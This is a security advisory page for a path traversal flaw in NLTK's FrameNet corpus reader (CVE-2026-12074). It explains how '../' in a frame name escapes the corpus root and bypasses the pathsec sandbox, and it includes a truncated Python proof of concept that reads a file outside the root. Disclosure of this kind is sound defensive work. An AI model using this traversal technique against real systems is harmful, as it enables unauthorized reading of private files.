Skip to content
NLTKGHSA-xh95-f55m-82fw

NLTK: path traversal

High7.5CVE-2026-12074 · Published Jul 31, 2026 · updated Sep 10, 2026

### Summary `FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox , including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller. ### Details `frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply. The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - `doc()` , uses the index en...

GitHub advisory

Affected versions

PackageAffectedFixed in
nltk
PyPI
< 3.10.03.10.0
Details and references

### Summary `FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox , including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller. ### Details `frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply. The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - `doc()` , uses the index entry `filename` field - the lexical-unit file loader , uses the `lexUnit` ID attribute These are reachable through a malicious or attacker-modified FrameNet corpus index. ### PoC ```python """ import os import sys import tempfile import warnings from pathlib import Path warnings.filterwarnings("ignore") # --- Turn the documented strict sandbox ON, before importing the reader. --- import nltk.pathsec as ps ps.ENFORCE = True import nltk from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError FRAME_XML = ( '<?xml version="1.0" encoding="UTF-8"?>\n' '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n' "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n" "</frame>\n" ) BANNER = """\ =========================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver} | nltk.pathsec.ENFORCE = {enforce} ===========================================================""".format( ver=nltk.__version__, enforce=ps.ENFORCE ) def build_corpus(): """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpora" / "framenet" for d in ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( '<?xml version="1.0"?><frameIndex></frameIndex>' ) (root / "frRelation.xml").write_text( '<?xml version="1.0"?><frameRelations></frameRelations>' ) # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target). secret = base / "private" secret.mkdir() (secret / "secret.xml").write_text(FRAME_XML) return base, root, secret / "secret.xml" def main(): print(BANNER) base, root, secret_path = build_corpus() print(f"[*] corpus root : {root}") print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n") fn = FramenetCorpusReader(str(root), []) # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml evil = os.path.join("..", "..", "..", "private", "secret") print(f"[*] calling fn.frame({evil!r})") try: f = fn.frame(evil) definition = f["definition"] if "SECRET-OUT-OF-ROOT-CONTENT" in definition: print("\n [VULN] out-of-root file was read and returned to caller") print(f" frame name : {evil}") print(f" frame ID : {f['ID']} name: {f['name']}") print(f" definition : {definition}") print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print(f"\n [?] frame() returned but content unexpected

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-22
Also known as
CVE-2026-12074, PYSEC-2026-3584

More NLTK advisories

All NLTK
Advisory
NLTK: server-side request forgery
Low3.7Aug 9
A vulnerability in `nltk.downloader` in nltk/nltk versions <= 3.9.4
Medium6.5Aug 7
NLTK: server-side request forgery
High8.6Jul 31
Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
High7.5Jul 31
NLTK: arbitrary file read
High7.5Jul 31
NLTK vulnerable to Eval Injection via collocations CLI arguments
High7.8Jul 25

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.